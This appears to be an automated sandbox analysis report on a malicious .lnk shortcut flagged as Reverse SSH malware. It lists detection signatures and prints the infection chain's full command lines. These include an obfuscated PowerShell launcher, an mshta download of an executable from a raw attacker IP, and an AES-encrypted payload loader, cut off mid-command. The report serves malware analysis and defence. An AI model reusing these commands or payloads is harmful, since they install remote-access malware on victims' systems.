Edit tour
Windows
Analysis Report
Scan_Zakaz_1416-02-24_13-02-2024.jpg.lnk
Overview
General Information
Detection
Reverse SSH
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Outlook Reverse SSH
Adds a directory exclusion to Windows Defender
Found suspicious powershell code related to unpacking or dynamic code loading
Powershell drops PE file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Bypass UAC via Fodhelper.exe
Sigma detected: Legitimate Application Dropped Executable
Sigma detected: MSHTA Suspicious Execution 01
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious MSHTA Child Process
Suspicious execution chain found
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Uses cmd line tools excessively to alter registry or file data
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 3004 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Wi ndows\Syst em32\SyncA ppvPublish ingServer. vbs" ;556, 562,551,56 3,544,479, 551,563,56 3,559,505, 494,494,50 4,496,493, 504,497,49 3,497,499, 503,493,49 8,501,494, 515,558,56 6,557,555, 558,544,54 7,562,494, 547,558,54 6,564,556, 548,557,56 3,493,547, 558,546,56 7,493,548, 567,548|%{ $g+=[char] ($_-447)}; $g | power shell - MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 6564 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NonIntera ctive -Win dowStyle H idden -Exe cutionPoli cy RemoteS igned -Com mand &{$en v:psmodule path = [IO .Directory ]::GetCurr entDirecto ry(); impo rt-module AppvClient ; Sync-App vPublishin gServer ;5 56,562,551 ,563,544,4 79,551,563 ,563,559,5 05,494,494 ,504,496,4 93,504,497 ,493,497,4 99,503,493 ,498,501,4 94,515,558 ,566,557,5 55,558,544 ,547,562,4 94,547,558 ,546,564,5 56,548,557 ,563,493,5 47,558,546 ,567,493,5 48,567,548 |%{$g+=[ch ar]($_-447 )};$g | po wershell - } MD5: DFD66604CA0898E8E26DF7B1635B6326) - conhost.exe (PID: 2684 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 7366FBEFE66BA0F1F5304F7D6FEF09FE) - powershell.exe (PID: 4436 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" - MD5: DFD66604CA0898E8E26DF7B1635B6326) - mshta.exe (PID: 2520 cmdline:
"C:\Window s\system32 \mshta.exe " http://9 1.92.248.3 6/Download s/document .docx.exe MD5: 4CF1AB245C87389F0920BA5D1AFF6D38) - powershell.exe (PID: 2724 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $Gh zz = 'AAAA AAAAAAAAAA AAAAAAACLP J9aZll1ZfA IICR/94PfZ SZyB3KJh54 skP121gYzf 1czP6U3R79 MN/99JYgzs nfZYiJ36Xx JXrE5dF0yK bYCxxi5582 W9SCvuElum qos253SmMv DZLDXLZ0RL 8YKd2/6ELt z+CRLEe2dN fHth9mOq0F jX5BYbgUXh feWeLaXU1S KnTCpytu7L eAmJIt3+kC zMWfPCvVX0 fKErhECGn4 j3bIIy9nFa MaF/aPw6wx wgcT1FDD0p rv+0uygVhA MrqKuOQbi8 1uzdizmBFE lpz6DxP7bg 85lajJFdPc b0tV8CEaGW f4TlNd9kra lFFAy9FZx/ Jhyu8Hjh+5 LMvUa5C07/ 5xwpyl70ER 4K8jncO372 CwzcU/nYXT Pxz3bejSrE uwZfU8D6vF YXuqSKuWjL SgroXZ755r wyqhBe2rDP nODvfurxpj ICF65dj4Mb EIQYA/LBE5 lGq5nQe95R 2/oQI82942 6MaPQdmM/u NsRh4dniuB 2oT3MTBztT qkgSpyu4YH UNUhyXnhZe dBPzSZM8eV +7LGYKi6wX Yk9bmVRts7 nWW2kAo9py CodJKjFZnx gS9YWlb2nJ olaH/2Rznj aQfeDnrriK spbkWn3ksO JUQZYnHcM/ xRcsZevfWW EVAXJMYuoA aVi4eLE7Wf kL0zlHrHit YhDR+IkUOv njmc+MoaNR QdwF84Y5dy lWKRcJhlwG JmMseb87SO CL54CWOI6t AJevEKjhZF g2vQ3m7DZo IQserOtKft uB60H+NUOj JHj5yhSHzl jmFr0TM5Mi yS5GE5L8Wy dfzrEkPd4B peqzwN4Ga3 eniFTnddZZ SVY3us3MBx nKMJ9KWER+ j4kexLrgBM /t/YC94fAH JFEmo/44Wk HmJZihQPEV CNKo1JJeDU eNqgxPJJ3d o2fQC8G4y7 7/WSZkatWX 0vLDDNJqbY yOmYNrVdm1 9Ogw+nEwCN tSHb7dgX6j UgjnTLAgnp 1ok18yLyG5 DGJw7QzmBF s00viRiKN5 5bnwogveRp KLu1NIojUD wAPuTMzq/q JyoVwcJ5Rc xm5nY+zf+x dUNEb0Xdo6 oq7MAKdiX4 rUyWc2sYhR vBcegy3R6M DCttVnbJtj GFZx/nMnQ1 zXL45PfSGc BonZiBEuld Ms0LMYfkST Zy/1cb9aVD wPniRuxEQz 5boaGYtVRa 9MCLFYlVL4 EmzbKlmYtg NIfvLtVFSa 1DRKhGv6Ga XDdZ2PEtxB kkloyyc7uO CCxC9usUyf BALqn9XuVS s6c1NFPFGh blymDm6QBz ul0mp023Uy Votv3XhWWK ontLclcoVM 2SV37P9/ut k7QtWoHJym 4/XnT2AUqL A3gyh9w/VS JUHuld02gU 5dxPVOVMg5 MQbF89ZGXT H/dnHaNyLP hSfL+ekP0X SvxOX+5cZ/ NR3spLseHK W6+6fanbHO iB7zW7cAoq T48pkZurSa E7aXM06zQ8 Or2QgoBORf sIebQ1Utlu an3it/5sT8 S2mFtrkfSI 9wCtx3/xU1 HCLXZ1QAlL 0V4UCqspoC QhTaeC8mPH Y76Q==';$b FTlxrlo = 'Y0xDa3dTc lhNQk9jWU9 SQllhU2NFc mltZ1pWVUJ UbFc=';$Rt kWawy = Ne w-Object ' System.Sec urity.Cryp tography.A esManaged' ;$RtkWawy. Mode = [Sy stem.Secur ity.Crypto graphy.Cip herMode]:: ECB;$RtkWa wy.Padding = [System .Security. Cryptograp hy.Padding Mode]::Zer os;$RtkWaw y.BlockSiz e = 128;$R tkWawy.Key Size = 256 ;$RtkWawy. Key = [Sys tem.Conver t]::FromBa se64String ($bFTlxrlo );$bhrZZ = [System.C onvert]::F romBase64S tring($Ghz z);$KjcvIP Dx = $bhrZ Z[0..15];$ RtkWawy.IV = $KjcvIP Dx;$BQSzgL NJB = $Rtk Wawy.Creat eDecryptor ();$RcUvaM iZM = $BQS zgLNJB.Tra nsformFina lBlock($bh rZZ, 16, $ bhrZZ.Leng th - 16);$ RtkWawy.Di spose();$q emqjYHS = New-Object System.IO .MemoryStr eam( , $Rc UvaMiZM ); $UfrEdEj = New-Objec t System.I O.MemorySt ream;$ujzr SBksP = Ne w-Object S ystem.IO.C ompression .GzipStrea m $qemqjYH S, ([IO.Co